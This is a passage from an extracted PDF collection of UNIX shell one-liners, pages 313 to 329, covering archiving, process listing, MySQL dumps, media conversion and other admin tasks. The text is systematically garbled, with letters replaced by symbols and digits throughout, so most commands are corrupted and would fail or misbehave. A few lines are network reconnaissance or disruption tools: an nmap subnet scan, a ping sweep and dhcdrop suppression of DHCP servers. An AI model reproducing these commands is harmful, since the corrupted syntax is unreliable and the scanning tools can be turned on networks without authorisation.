# Rin& the system %ell a(ter (inishin& a lon& script/compile my0on&Script FF echo e La 44 Eecho e La sleep echo e LaG # 3ompress a (ile or directory )eepin& the o*ner and permissions tar Dcv( /(older/(ile2tar2%>9 sameo*ner samepermissions /(older/ # @sin& scapy to &et the < o( the i(ace used to contact local &* Ei2e2 supposed host <G python c 8import scapy2all print ,?B (or , in scapy2all2con(2route2routes i( ,9B != "2"2"2"B"B8 # ,ecute a command %e(ore display the %ash prompt ROMT3OMMAN6=command # ;et listenin& ports on a localhost ss ln 4 a*) $UX/E"WB1G/print $U 4 sed s/2L:LE"WBL1LG$/L/ # Add the time to QASH prompt e,port S=8EL7G $S8 # print a (ile on a sin&le line echo $Ecat (ileG # ho* to allo* a pro&ram to listen throu&h the (ire*all 313 / 658
All UNIX COMMANDS netsh (ire*all add pro&rammaautori>>ato 3:Lnltest2e,e mltest ena%le # Recursive replace o( directory and (ile names in the current directory2 (or i in _(ind name oldname_ do 8mv $i $i/oldname/ne*name/8 done # 3leanup (ire(o,s data%ase2 (ind X/0i%rary/ApplicationL Support/Iire(o,/ type ( name 82sPlite8 e,ec sPliteU [A3@@M L # 0ist users *ith runnin& processes ps au, 4 sed n /@SR/!s/LE' BLG 2/L/p 4 sort u # 0ist open soc)ets protocol/address/port/state/<6/pro&ram name sudo netstat punta # ipe a te,t(ile to vim and move the cursor to a certain line >cat /usr/share/doc/vimcommon/RA6M2&> 4 vim & 19U # (loatin& point operations in shell scripts echo 8Z ) U Z / p8 4 dc # &eoip in(ormation &eoEG curl s 8http://***2&eody2com/&eoip2phpVip=$Edi& 1short $G84 sed /'<:/!ds/-'.B '.B.//& # [ie* All rocessess 3mdlines and nvironments cd /procFFps a opid=4,ar&s <1 sh c $<6 ne 1 BBFFecho e 8Ln1B8FFtr s 8L"""8 8 8-1/cmdlineFFechoFFtr s 8L"""L"UU8 8Ln8-1/environ4sort # Save a (ile you edited in vim *ithout the needed permissions :K!sudo tee K # 0ist all (iles in current dir and su%dirs sorted %y si>e tree i(s noreport 24sort n )9 # @se vi commands to edit your command lines set o vi ls l Dnu)-S3.%3Dun) # 3reate a directory and &o inside it m)dir dir cd $ # Rotate a pd( %y W" de&rees 3J pd(t) input2pd( cat end output output2pd( # su%traction %et*een lines seP U 9" 4 a*) TNRB=$ N6 (or Ei=i-=ENRGi11G print Ti1B+88+TiB+8=8 + Ti1BTiB # rint one 2 instead o( each line alias 222=*hile read line do echo n 828 done FF echo 88 # ;et the S@M o( visual %loc)ed di&its in vim vmap -ca. y:$-3R.o-sc.map-sc.:a+$!a*) sum1=$"N6print 8S@M:8 sum-3R.dd.p # Sort a character strin& echo sortmeplease 4 &rep o 2 4 sort 4 tr d Ln echo
# Ho* to chec) net*or) connection (rom one inter(ace 314 / 658
All UNIX COMMANDS pin& < eth" ***2yahoo2com # 3onsole cloc) *hile sleep do echo n 8Lr_date_8 done # e,port iad App list to t,t (ile ls 8X/Music/iTunes/iTunes Media/Mo%ile Applications8 . (ilepath # [ie* any archive als some2Dar # Simulate typin& %ut *ith mista)es echo e 8ou are a Der)L%L%L%L%*onder(ul person8 4 pv P0 $"1E9 1 RAN6OMKZGB # ps&repp ps au, 4 &rep $Eecho $ 4 sed 8s/'LE2LG/LB/&8G # ,port OM0 (rom ;oo&le Reader e,portopmlEG curl sH 8Authori>ation: ;oo&le0o&in auth=$Ecurl sd 8mail=$Fass*d=$9Fservice=reader8 https://***2&oo&le2com/accounts/3lient0o&in 4 &rep Auth 4 sed s/Auth=LE2LG/L/G8 http://***2&oo&le2com/reader/su%scriptions/e,port # Addin& speci(ic 3ustom0o& (or each [irtual 6omain o( Apache (or arPuivo in _ls _ do sed i /rror0o&/aL L L L L L L L 3ustom0o& L/varL/lo&L/apache9L/access8$(ile8lo& com%ined /root/site%a)/$(ile done # 3reate a tar archive usin& ,> compression tar cv( /path/to/tar/up 4 ,> . myTarArchive2tar2,> # QourneShell: ;o to previous directory cd # Qest option set (or ]>ip compression o( data%ase dumps or &eneric te,t (iles ]>r a m,=W ms=on mhc=on mtc=o(( d%%ac)up2sPl2]> d%dump2sPl # Sho* *ord%y*ord di((erences %et*een t*o late, (iles+ in color d*di(( c a2te, %2te, 4 less R # ncode a strin& usin& ROT?] echo 8your strin& here8 4 tr L!X XL!O # mail a (ile to yoursel( echo 8This is the messa&e %ody8 4 mutt s 8Messa&e su%Dect8 a (iletoattach2>ip (red7e,ample2com # Sho* directories ls l 4 &rep 'd # count ho* many cat processes are runnin& ps a 4 &rep c cat # Iirst (ile editor (or ne*%ies cat . (ile2t,t -- OI # Apply (ade e((ect to a audio so, input2mpU output2mpU (ade h Z "":"9:Z Z # Sho* cronta%s (or all users (or i in /var/spool/cron/ta%s/ do echo $i##/ sed s/'/Lt/ $i echo done 315 / 658
All UNIX COMMANDS # &ra% all o( &oo&le <v? net*or) %loc)s host t T^T net%loc)s2&oo&le2com 222 # (ind distro name / release version $ cat /etc/release # 3om%ine t*o mpUs or more into lon& mpU cat 2mpU 92mpU . com%ined2mpU # Qe noti(ied a%out overheatin& o( your 3@ and/or mother%oard sensors 4 &rep 83ore 8 4 _sed e s/'21LE"WBL9+ULLG2E2/L/_ &t Z" BB FF noti(y send 83ore temperature e,ceeds Z" de&rees8 # 0ast month 0ASTMONTH=_date d 8last month8 1KQ_ # Tell *hat is encoded in a (loat+ &iven its H^ %ytes dc e8iVdsH"sP9d]'ss'dse9/stdlsle/99Q1an I
# Split hu&e (ile into 6[61R si>e chun)s (or %urnin& split % ?]"""""""" (ile2im&2&> (ile2im&2&>2 # 3onsole cloc) Qeauti(ul yes clearprint( 8LnLn_date_Ln8 4 (i&let ( star*arssleep 4 sh # Sort lines on clip%oard ,clip o selection clip%oard 4 sort 4 ,clip i selection clip%oard # er(orm a 3style loop in Qash2 (or EE i = " i - "" i11 GG do echo 8$i8 done # asy to e,tend oneliner (or cron scripts that automate (ilesystem chec)in& E di $TOIS3Y h /%in/umount $TOIS3Y time /s%in/e9(sc) y ( v $IS3Y6[ /%in/mount $TOIS3Y G 4F /%in/mail $MA<0TO s 8$MA<0S@Q8 # Send remote command output to your local clip%oard command 4 ssh myHost ,sel i display :" # erl 3ommand 0ine e l pyt% myapp2lo& 4 less SR # (ind *hich lines in a (ile are lon&er than N characters *hile read i do $#i &t ]9 B FF echo 8$i8 done - /path/to/(ile # Iind your &raphics chipset 316 / 658
All UNIX COMMANDS lspci 4&rep [;A # &p& decrypt several (iles &p& allo*multiplemessa&es decrypt(iles # Remote mysPl dump all data%ases *ith ssh mysPldump u user p alldata%ases 4 ssh user7host dd o(=/opt/alldata%ases2dump # 6elete speci(ic remote ori&in %ranch &hpa&es &it push ori&in :&hpa&es # 3ompose 9 ima&es to composite &eometry W,W19Z"1]" (ore&round2Dp& %ac)&round2Dp& ima&e2Dp& # 0ist empty any directories ls ld /E/'IG # Mer&e 6Is *ith ;hostscript *rapped in a (unction mer&epd(EG &s P dNOA@S dQAT3H s6[<3=pd(*rite sOutputIile=mer&ed2pd( 8$78 # 3onvert outu%e videos to MU url=8puturlhere8audio=$Eyoutu%edl s e $urlG*&et P O _youtu%edl & $url_4 ((mpe& i ( mpU vn acodec li%mpUlame . 8$audio2mpU8 # Test python re&ular e,pressions r&,matchEG python c 8import re print re2searchE$+$9G2&roupsEG8 # Sho* availa%le conversions recode l 4less # disa%le history (or current shell session H
# Summary o( dis) usa&e+ e,cludin& other (ilesystems+ summarised and sorted %y si>e du ,)s 4 sort n # Jatch a di& in pro&ress *atch n di& &oo&le2com # converts a directory (ull o( source tar%alls into a %>r repository so you can compare di((erent versions easily %>r init 2(or (ile in _ls 2%>9_ do %>r import $(ile %>r ci m $(ile done # ;et (ree RAM in K (ree m 4 a*) /cache:/ print(E8KdKLn8+$U/E$U1$?G""G # Qtr(s: Iind (ile names *ith chec)sum errors 317 / 658
All UNIX COMMANDS dmes& 4 &rep o csum (ailed inoLS Ld1 4 a*) print $? 4 sort u 4 ,ar&s n (ind / inum 9. /dev/null # do*nload the contents o( a remote (older in the current local (older *&et r l np nd http://yoururl2com/your(older/ # @se mdZsum to chec) your music and movie (iles2 Also use di((2 (ind 2 type ( e,ec mdZsum L . -(ilename. # Jatch and cat the last (ile to enter a directory *atch 8cat _ls rcA 4 tail n_8 # de%ian/u%untu &et installed nvidia driver version (rom terminal dp)& status nvidiacurrent 4 &rep [ersion 4 cut ( d 4 sed s/'2+"WB//& # To (ind the 06A clients connected to 06A service runnin& on Solaris netstat n ( inet4a*) /L2UW/print $94cut (? d24sort u # Puic) inte&er 3@ %enchmar) echo 9'9'9" 4 time %c . /dev/null # Addin& 3olor scape 3odes to &lo%al 33 array (or use %y echo e declare a, 33 (or i in _seP " ]_do ii=$EE$i1]GG 33$iB=8L"UUU$im8 33$iiB=8L"UU"U$im8 done # dump the *hole data%ase mysPldump u @NAM p 6QNAM . I<0NAM # ;reets the user appropriately echo 89 mornin&LnZ a(ternoonLn9? evenin&8 4*hile read t & do i( _date 1KH_ lt $t B then echo 8;ood $&8 %rea) (i done # 6elete Mailer6aemon messa&es mailP 4 &rep MA<0R6AMON 4 a*) print $ 4 tr d 4 postsuper d # ssh ^ tunnelin& over multiple ssh hosts Ethrou&h ssh pro,yG ssh t ^ A user7sshpro,y ssh ^ A user7sshhost # recursively chan&e (ile name (rom uppercase to lo*ercase Eor viceversaG (ind 2 depth print e,ecdir rename ( y/A\/a>/ L # 3ount lines o( source code e,cludin& %lan) lines and comments sloccount -directory. # return a titlecased version o( the strin&str2titleEG in pythonB titleEG sed s/L-L*/LuF/& ---$7 # This allo*s you to (ind a strin& on a set o( (iles recursivly &rep rI include=2t,t strin&ou0oo)Ior # print a pythonscript Eor any other codeG *ith synta,hi&hli&htin& and no loss o( indentation a9ps R columns= M A? mypro&2py o 4lpr # 3ount all the (iles in the directory and child directories ls d / 4 *c l # [ie* internet connection activity in a %ro*ser lso( ni 4 t,t9html . X/lso(2html 4 &nomeopen lso(2html 318 / 658
All UNIX COMMANDS # 3reate iso ima&e o( cd/dvd dd i(=/dev/cdrom o(=X/cdima&e2iso # list any 0inu, (iles *ithout users or &roups sudo (ind / LE nouser o no&roup LG
# 5uic)ly create an alias (or chan&in& into the current directory (unction mapEG n 8$8 B FF alias $=8cd _p*d_8 44 alias 4 &rep 8cd 8 # Remove Suspend option (rom ^I3 lo&o(( dialo& ,(con(Puery c ,(ce?session np /shutdo*n/Sho*Suspend t %ool s (alse # ncode te,t in Qase? usin& erl perl e use M8G # Qul) renames *ith (ind+ sed and a little escapin& (ind 2 e,ec %ash c 8mv L_echo 4sed e s/(oo/%ar/&L_8 L # Qatch 3onvert S[; to N; (or i in 2sv& do convert 8$i8 8$iK2sv&2pn&8 done # (ind out >om%ie process ps au, 4 a*) print $ 8 8 $9 8 8 $ 4 &rep * \ # 3lean the /%oot directory rpm P )ernel9 4 &rep v $Euname rG 4 ,ar&s yum erase y # Send a local (ile via email echo 8see attached (ile8 4 mail a (ilename s 8su%Dect8 email7address # dump the *hole data%ase mysPldump loc)ta%les opt 6QNAM u @NAM pass*ord=ASS 4 &>ip . O@TI<0 # 30< [isual Apache Je% 0o& Analy>er &oaccess ( /var/lo&/apache9/access2lo& s % # Summari>e the num%er o( open T3 connections %y state netstat nt 4 a*) print $ 4 sort 4 uniP c 4 sort n ) r # Tunnelin& commands over SSH tar cv>( /(older/ 4 ssh root7W922"2 8dd o(=/dest/(older/(ile2tar2&>8 # ls PahlSr ls PahlSr
# list all (iles in si>e order lar&est last # list all (iles in si>e order lar&est last
# MU player (ind 2 name 2mpU 4 sort 4 *hile read r mpU do echo e 8-hU.$mpU-/hU.Ln-audio controls src=L8$mpUL8.-/audio.8 done . inde,2html python m http2server # ps &rep *ith header ps& EG ps au,*** 4 e&rep 8$4<68 4 &rep v &rep # 6isplay (ormatted routes routel # validate ,ml in a shell script usin& ,mllint ,mllint noout some2,ml 9.F ./dev/null 44 e,it 319 / 658
All UNIX COMMANDS # @rl ncode uriescapeEG echo 8$78 4 sed s/LL/LLLL/&s/2/FLn/& 4 *hile read r i do echo $i 4 &rep P a>A\"W/2:VF=B FF echo n 8$i8 44 print( KKK, L8$i8 done # 3ount the (rePuency o( every *ord (or a &iven (ile cat O@RI<04tr d :punct:B4tr :upper:B :lo*er:B4tr s Ln4sort4uniP c4sort rn # (ind *hich o( the >ip (iles contains the (ile youre searchin& (or (ind 2 iname 2>ip 4 *hile read (ile do un>ip l 8$(ile8 4 &rep P internal (ile nameB FF echo $(ile done # ;enerate a character pass*ord+ print the pass*ord and shaZ9 salted hash cat /dev/urandom 4 tr dc a>A\"W 4 (old * 4 head 4 python c 8import sys+crypt stdin=sys2stdin2readlineEG2rstripELnG print stdinprint crypt2cryptEstdinG8 # most used uni, commands a*) print $ X/2%ashhistory 4 sort 4 uniP c 4 sort rn 4 head n " # @pdate O&& [or%is (ile comments (or ( in 2o&& do vor%iscomment l 8$(8 4 sed s/peter &a%riel/eter ;a%riel/ 4 vor%iscomment * 8$(8 done # Access partitions inside a 0[M volume )part, a /dev/mapper/space(oo%ar # split a (ile %y a speci(ic num%er o( lines csplit ) my(ile Z""
# 3lean all 2pyc (iles (rom current proDect2
All UNIX COMMANDS # Iire 3M6 every time I<0 Eor directoryG is updated Eon QS6G (=8I<08c=83M68s=8stat ( Km $(8t=_$s_*hile Bdo i( $t eP _$s_ Bthen sleep else echo _$c_t=_$s_(idone # Sho* %attery in(omations (or OS ^ "2Z2, systempro(iler So*er6ataType 4 e&rep e 83onnected43har&e remainin&4Iull char&e capacity4 3ondition8 4 sed e s/' LtB// # add an mpU audio trac) to a video mencoder id, our
ourAudiotrac)2mpU
# Turn shell tracin& and ver%osity Eset ,vG on/o(( *ith command! (unction set,EG sed /,vB/!59 --- $ FF set 1,v e,port S?=8... 8 44 e,port S?=8_tput seta( U_... _tput s&r"_8 set ,v # 0ist Threads %y id alon& *ith Thread Start Time ps o pid+l*p+lstart pid ]W] 0 # set your screensaver as your des)top %ac)&round MA3 OS^ / System/0i%rary/Irame*or)s/ScreenSaver2(rame*or)/Resources/ScreenSavern&ine2app/3ontents/Mac OS/ScreenSavern&ine %ac)&round F # Mar) pac)a&es installed *ith %uilddep (or autoremove Eon 6e%ian/@%untuG sudo aptitude mar)auto $Eaptcache sho*src A3YA; 4 &rep Quild6epends 4 perl p e s/EV: LEB21VLBGB4Quild6epends:4+4L4G//&G # Iind out *hen your %illionsecond anniversary is E*asG2 date d9/U/W]"1"""""""""sec # convert video (ormat to youtu%e (lv (ormat ((mpe& i ourvideo(ile s U9",9?" I<02(lv # 5uic) searchin& *ith less >cat (ile2&> 4 less 1/searchpattern # Jatch R^/T^ rate o( an inter(ace in )%/s *hile cat /proc/net/dev do sleep done 4 a*) /eth"/ o=n o9=n9 n=$9 n9=$" print( 8in: KW29(LtLtout: KW29(Lr8+ EnoG/"9?+ En9o9G/"9? # 3hec) i( a machine is online *ith %etter @< echo n 8< Address or Machine Name: 8 read < pin& c P $< ./dev/null 9.F FF echo e 8Le""U9mOnlineLe""m8 44 echo e 8Le""UmO((lineLe""m8 # a*) chan&e (ield separator a*) $=$ IS=8 8 OIS=8:8 (ile # ;et My u%lic < Address curl s http://myip2d)/ 4 e&rep m o "WB+UL2"WB+UL2"WB+UL2"WB+U # ;ra% mpU (iles (rom your (avorite netcasts+ mpU%lo&+ or sites that o(ten have &ood mpUs *&et r l H t nd N np A2mpU ero%ots=o(( i X/sourceurls2t,t # calulate esta%lished tcp connection o( local machine netstat an 4 &rep c 'tcp21STAQ0er (or OS^ Ecc>e alternativeG tail ( /var/lo&/system2lo& 4 colori>er 321 / 658
All UNIX COMMANDS # ;et in(ormation on your &raphics card on linu, Esuch as &raphics memory si>eG lspci v s _lspci 4 a*) /[;A/print $_ # erl oneliner to determine num%er o( days since the @ni, epoch perl e print( PPKdLn+ time/?"" # Rename a (ile *ith a random name r(EG (or i in 8$78 do mv 8$i8 8$Ep*&en G2$i##28 done # 3ommands on svn stat svn stat 4 &rep M 4 cut d 8 8 ( 4 ,ar&s svn revert # 0ist all availa%le python modules python c 8helpEmodulesG8 # 0ist o( computers not lo&&ed into in more than (our *ee)s dsPuery computer name 3OM@TRNAM inactive ? # apt&et via sudo apt&et EG 8$8 = source B FF Ecommand apt&et 8$78trueG 44 sudo apt&et 8$78 # Send test prints to net*or)ed printer2 echo 8test8 4 lp d $R
All UNIX COMMANDS cat su%titles2t,t 4 perl pe s/ //& s/ELd1G/==/ $(=E9?/9Z$G s/ELd1G/=9=/ $(9=E9?/9Z$G $(=Xs/L22// $(9=Xs/L22// s/==/$(/ s/=9=/$(9/ . su%titlesne*(ps2t,t # yum P list updates 4 tail n19 0ist up&radea%le pac)a&es on Redhat # Iind out *hen your %illionsecond anniversary is E*asG2 date D v 1"""""""""S ( KmKdK mmdd # ;et decimal ascii code (rom character echo n a 4 od d 4 sed n 8s/'2 //&p8 # Short
# Sa(ely remove old unused )ernels in @%untu/6e%ian sudo aptitude pur&e Xilinu,ima&eL"WLBLEL!_uname r_LG # do*nload a list o( urls cat urls2t,t 4 *&et i T " t U *aitretry # Iunction to create an alias on the (ly m)alias EG echo 8alias $=L8$9L88 .. XL2%ashaliases # sort a CSON %lo% cat (oo2Dson 4 python mDson2tool # ;et o*n pu%lic < address *&et http://ipecho2net/plain O P echo # Jatch ouTu%e and other Ilash videos via mplayer Eor *hateverG mplayer $Els t /tmp/Ilash4head G # t,t9html recode 22HTM0 - (ile2t,t . (ile2html # %ash/)sh (unction: &iven a (ile+ cd to the directory it lives (unction (cd EG ( $ B FF cd $Edirname $G 44 cd $
p*d
# Search (or a -pattern. strin& inside all (iles in the current directory (ind 2 type ( e,ec &rep i -pattern. L # rotate the compi> cu%e via command line *mctrl o 9"+" # 3reate commands to do*nload all o( your ;oo&le docs &oo&le docs list 4a*) Q;
All UNIX COMMANDS ,set (p1 /Applications/Mathematica2app/SystemIiles/Ionts/Type/ # Real time duplication o( Apache app tra((ic to a second server nice n 9" ssh SO@R3SR[R 8tail ( /var/lo&/httpd/access2lo& 8 4 a*) print $] 4 &rep Dsp 4 parallel curl TAR;TSR[R 9.F /dev/null # Te,t to ima&e *ith transparent %ac)&round convert %ac)&round none pointsi>e ZZ la%el:8_*hoami_8 me2pn& # rint the current time on the *hole screen+ updated every second *hileEtrueG do print( 8KsL(8 $Edate 1KTG sleep done 4 sm # remove accented chars iconv ( ut( t ascii//TRANS0ero o(=TST %s=?) count=Z9""" # asily decode uni,time E(untionG utimeEG python c 8import time printEtime2str(timeEKa K% Kd KH:KM:KS K+ time2localtimeE$GGG8 # Revert an S[N (ile to previous revision svn di(( r M:N (ile2php 4 patch p" # lo& rm commands (unction rm *or)in&dir=$E p*d, $$ 4 a*) print $9 G /usr/%in/rm $ echo 8rm $ issued at $EdateG %y the user $E*ho am i4 a*) print $ G in the directory $ *or)in&dir8 .. /tmp/rm2out # Te,t messa&e on *allpaper *allpaperJarnEG Q;=8/des)top/&nome/%ac)&round/picture(ilename8 convert 8_&con(tool9 & $Q;_8 pointsi>e ]" dra* 8&ravity center (ill red te,t "+U" Jarn (ill *hite te,t "+U" Jarn8 /tmp/*2Dp& &con(tool9 set $Q; t strin& 8/tmp/*2Dp&8
# ;et M6Z chec)sum (rom a pipe stream and do not alter it cat some(ile 4 tee .Eopenssl mdZ . sum2mdZG 4 %>ip9 . some(ile2%>9 # rints the latest modi(ied (iles in a directory tree recursively (ind 2 name pd( print" 4 ,ar&s " ls lt 4 head 9" # 3onvert ascii strin& to he, echo 8te,t8 4 hd # Yill all \om%ie processes i( they accept it! )ill W _ps ,a* o state o pid 4 &rep \ 4 &rep v <6 4 a*) print $9_ 324 / 658
All UNIX COMMANDS # Iind Out My 0inu, 6istri%ution Name and [ersion cat /etc/issue # ;et rid (rom a %lan) display *ithout re%oot -3trl.-Alt.-I. )illallZ # Iind Mac address ip li 4 &rep ether 4 a*) print $9 # Run a script in parrallel over ssh pssh h RemoteHosts2t,t < - X/0ocalScript2sh # 5uic) synta, hi&hli&htin& *ith multiple output (ormats $ python m py&ments o source2html source2py # 3lone / (ind 2 path 2/mnt prune o path 2/lost1(ound prune o path 2/sys prune o path 2/proc prune o print 4 cpio pumd /destination FF m)dir /destination/mnt/ FF m)dir /destination/proc FF m)dir /destination/sys # ;ets the en&lish pronunciation o( a phrase sayEG *&et P @ Mo>illa O output2mpU 8http://translate2&oo&le2com/translatettsV tl=enFP=$8 &nometerminal , %ash c 8totem output2mpU8 sleep ? totem Puit # list *ith (ull path ls d $J6/ # Automatically s)ip %ad son&s in your M6 playlist2 *hile : do Empc current 4 &rep i nic)le%ac) FF mpc ne,tG sleep Z done # %urn %ac)ed up ,%o, U" &ames &ro*iso(s usethe(orcelu)e=dao usethe(orcelu)e=%rea):WU]" dvdcompat speed=9 \ /dev/cdrom=^QO^U";AMHR2iso # 6elete more than one month old thum%nails (rom home directory (ind X/2thum%nails/ type ( atime 1U" print" 4 ,ar&s " rm # %ash (unction to chec) (or somethin& every Z seconds (unction chec)(or EG *hile : do $ sleep Z done # ;et decimal ascii code (rom character ordEG print( 8KdLn8 8$8 # Normali>e volume in your mpU li%rary (ind 2 type ( name 2mpU e,ecdir mpU&ain a 1 # *atch snapshots commit in [M*are S^ *atch ls tou&h (ulltime 2vmd) # Sho* directories in the ATH+ one per line echo e $ATH//:/LLn # mer&ency Alien
All UNIX COMMANDS # yes . /dev/null uses all cpu cycles (or one core2 &ood (or testin& your cpu or Dust *armin& yoursel( up # tar pipe to copy (iles+ alternate to cp Ra Ecd /ori&nl/path tar c( 2 G 4 Ecd /dst/dirtar ,v( G # 3ompare copies o( a (ile *ith mdZ di(( -EmdZsum renderpac)2>ip4 cut d 8 8 ( G -EmdZsum /media/&reen/renderpac)2>ip4 cut d 8 8 ( Gecho $V
# ;enerate an ^Y36 #WU style ? *ord passphrase E(astG echo $E&rep 8''A\BLU+]L$8 /usr/share/dict/*ords4shu( n?G # 3leanup a EsourceG te,t (ile+ removin& trailin& spaces/ta%s and multiple consecutive %lan) lines sed i e s/ LtB$///'$/N/Ln$/6 source(iletocleanup # Iorce ;N@/0inu, )ey%oard settin&s+ layout and con(i&uration sudo dp)&recon(i&ure )ey%oardcon(i&uration # Suspend to ram pmi action suspend # 6oin& some (loatin& point calculations *ith roundin& Ee2&2 at the Urd decimalG echo 9U/] 4%c l 4,ar&s print( 8K2U(Ln8 # Open [im *ith t*o *indo*s vim c ne* my(ile # recursive trans(orm all contents o( (iles to lo*ercase (ind 2 type ( print" 4 ,ar&s " perl pi2save e tr/A\/a>/ # Random <v? address perl e print( DoinE828+ E8Kd8G,? G+ map rand 9Z 22? # 0ist all Sam%a user name pd%edit * 0 4 a*) I8:8 print $ # (ind (iles in a date ran&e touch t 9"""""""" %e&in touch t 9""9U9UZW2ZW end (ind 2 ne*er %e&in a ! ne*er end # 3opy (iles (rom multiple directories into one directory (ind -start directory. iname 8-all my (iles type.8 e,ec cp -tar&etdir. L # rint entire (ield i( strin& is detected in column a*) i( E$column == 8strin&8G print (ile2t,t # convert sin&le di&it to dou%le di&its >mv EV2o&&G "$ # suspend to ram *ithout root d%ussend system printreply dest=8or&2(reedes)top2@o*er8 /or&/(reedes)top/@o*er or&2(reedes)top2@o*er2Suspend # ;enerate pass*ord tr dc A\a>"W!7#$K'F - /dev/urandom 4 (old * 9 4 head n 326 / 658
All UNIX COMMANDS # in& s*eep *ithout NMA Epre(i,=8"2ZW298 FF (or i in _seP 9Z?_ do Esleep "2Z FF pin& c * $pre(i,2$i F. /dev/null FF arp n 4 a*) /$pre(i,2$i / print $ 8 8 $U G F done *aitG # Sho* the last 9" sessions lo&&ed on the machine last n 9" # Jatchin& 3ommand *atch cat /proc/loadav& # monitor system load tload s " # ;et len&th o( current playlist in ,mms9 ,mms9 list 4 sed n e iL" e s/'2ELE"WBLG:LE"WBLGG$/L "L911/&p e $aL"op 4 dc 4 sed e s/' // e s/ /:/& # Add all unversioned (iles to svn svn st 4 a*) i( E$ X 8V8G print $9 4 ,ar&s svn add # (ind (ile/dir %y e,cludin& some un*anted dirs and (ilesystems (ind 2 ,dev path 2/Dun)dir prune o type d name 8dirname8 a print # Automatically connect to a host *ith ssh once it is online var=host *hile ! nc >* $var 99do sleep done ssh user7$var # ;et your current u%lic < curl i(con(i&2me # hi%ernate sudo pmhi%ernate
# directory si>e *ith su%directories+ sorted list du m ma,depth= 6ero o(=/dev/null # Iind the location o( the currently loaded php2ini (ile php ini # nmap port scannin& nmap v sT W922"2"/9? 327 / 658
oac copy
All UNIX COMMANDS # pd(count: &et num%er o( pa&es in a 6I (ile pd(in(o (ile2pd( 4 &rep 8'a&es: "WBL1$8 4 sed s/2 // # My S declare , S=8LLe"UZmLBLuLLe""mLB7LLe"UmLBLhLLe""mLBBELDG:L Le"UmLBL*LnLL$ LLe""mLB8 # ut uppercase letters in curly %rac)ets in a Qi%Te^ data%ase sed /'Ls'7KB/s=LEA\BA\BLGLE'A\BL4+$LG=LL9=& literature2%i% . output2%i% # speedtest *&et outputdocument=/dev/null http://speedtest2*dc"2so(tlayer2com/do*nloads/testZ""2>ip # Testin& readin& speed *ith dd sync time _dd i(=/dev/cciss/c"dp o(=/dev/null %s=M count="9?"_ # Mostly silent I0A3 chec)in& Eonly errors are displayedG (lac ts 2(lac # Random <v? address perl le $+=828print map int rand 9Z+22? # ;enerate RSA private )ey and sel(si&ned certi(icate touch p)2pem FF chmod "" p)2pem FF openssl &enrsa out p)2pem 9"? FF openssl reP ne* %atch )ey p)2pem 4 openssl ,Z"W reP days UZ si&n)ey p)2pem out cert2pem # 3reate a (alse directory structure (or testin& your commands (or each in /usr/%in/ do echo $each 4 sed s/L/usrL/%inL/// 4 ,ar&s touch done # easy 3 shell math calculators alias calc echo 8scale=?L!84%c l alias ,calc echo 8L!84%c l # Ma)e a statistic a%out the lines o( code (ind 2 type ( name 82c8 e,ec cat L 4 *c l # post&resPl S50 to sho* count o( A00 ta%les ErelationsG includin& relationsi>e S03T relname+ reltuples+ p&relationsi>eErelnameG IROM p&class r CO
# Read all the S2M2A2R2T2 data (rom a hard dis) drive smartctl attri%utes /dev/sda # run comple, remote shell cmds over ssh+ *ithout escapin& Puotes 328 / 658
All UNIX COMMANDS echo 8properlyescapedcommand8 4 ssh user7host $E- /dev/(d/"G # Iind (iles and calculate si>e o( result in shell (ind 2 name 8pattern8 e,ec stat cKs L 4 a*) total 1= $ N6 print total # Sho* a listin& o( open mail%o, (iles Eor *hatever you *ant to modi(y it to sho*G lso( 4 &rep 8/var/spool/mail/8 # rename a (ile to its mdZsum mdZsum 4 sed s/'LEL*LGLsLE2LG/L9 L/ 4 *hile read 09 4 %>cat 4 pv cN %>cat 4 &>ip W 4 pv cN &>ip . (oo2tar2&> 329 / 658
All UNIX COMMANDS # dhcdrop testin&/suppression/trac)in& (alse 6H3 servers sudo dhcdrop i eth y l ""::99:UU:??:ZZ # Ma)e some po*er(ul pin) noise play c 9 n synth pin)noise %and n 9Z"" ?""" tremolo "2"U Z rever% 9" &ain l # 0ist your MA3s address ip li 4 &rep (( # 0ist all sym%olic lin)s in current directory (ind /*as type l
# 3ompress archiveEsG or directoryEiesG and split the output (ile rar a mZ vZM R myarchive2rar /home/ # 0imit the rate o( tra((ic to a particular address *ith tc2 tc Pdisc add dev -dev. root handle : c%P avp)t """ %and*idth ""m%ittc class add dev -dev. parent : classid : c%P rate U"")%it allot Z"" prio Z %ounded isolatedtc (ilter add dev -dev. parent : protocol ip prio uU9 match ip dst -ip. (lo*id : # Ho* To ;et the Apache 6ocument Root a*) $X/'6ocumentRoot/print $9 /etc/apache9/sitesavaila%le/de(ault # 3ountdo*n 3loc) M
4 &rep ipa
4 sed e
# 0ist all sym%olic lin)s in current directory (ind /*as type l # lay all the music in a (older+ on shu((le *hile BB do n=E / G s=$n$EE$RAN6OMK$#n7BGGB echo e 8 $s8 mp&9U P 8$s8 done # ur&e con(i&uration (ile o( all desinstalled pac)a&e aptitude pur&e Xc # chec) to see *hat is runnin& on a speci(ic port num%er lso( iT3:"" sT3:0
All UNIX COMMANDS curl s u $username:$pass*ord http://W9222/6H3Ta%le2htm 4 &rep -td.2 -/td. 4 sed s4Lt-td.LE2LG -/td.Lr4L4 4 tr Ln 4 sed s/LE'BLGLE'BLG/L9LtLLn/& # sorted list o( dhcp allocations &rep 'lease /var/li%/dhcp/dhcpd2leases 4 cut d ( 9 4 sort t 2 ) +n ) 9+9n ) U+Un ) ?+?n 4 uniP # Stream and save outu%e video *&et _youtu%edl & http://***2youtu%e2com/*atchVv=SUOWPi99@_ O 4 tee a parachute endin&2(lv 4 mplayer cache W9 # Qinary cloc) (or a in $Edate 18KHKM84cut %+9+U+? outputdelimiter=8 8Gdo case 8$a8 in "Gecho 822228Gecho 822289Gecho 82228UGecho 8228?Gecho 82228ZGecho 8228Gecho 8228]Gecho 828Gecho 82228WGecho 8228esacdone # Sho* seconds since modi(ied o( ne*est modi(ied (ile in directory ls atr /home/reports/2csv o timesty=1Ks 4 tail 4 a*) print systimeEG$Z # Remove old )ernels and header data in @%untu/6e%ian sudo apt&et y pur&e $Edp)& &etselections 4 a*) EE/'linu,/G FF E/"WBL2/G FF E!/8_uname r 4 sed 8s/&eneric//&8_8/GG print $G # %ash re&e, match $strin& =X re&e, BB : (or e,ample $strin& =X 21 BB # Split tsv (ile %y (i(th column 222 or any column a*) ILt print $" ..$Z2tsv # 0ist all sym%olic lin)s in current directory (ind /*as type l # &et current &it %ranch &it revparse sym%olic(ullname a%%revre( HA6 # ur&e con(i&uration (ile o( all desinstalled pac)a&e # aptitude pur&e Xc # 3hrome suc)s ps o rss= 3 3hrome 4 E,=" *hile read rss do EE,1=$rssGG done echo 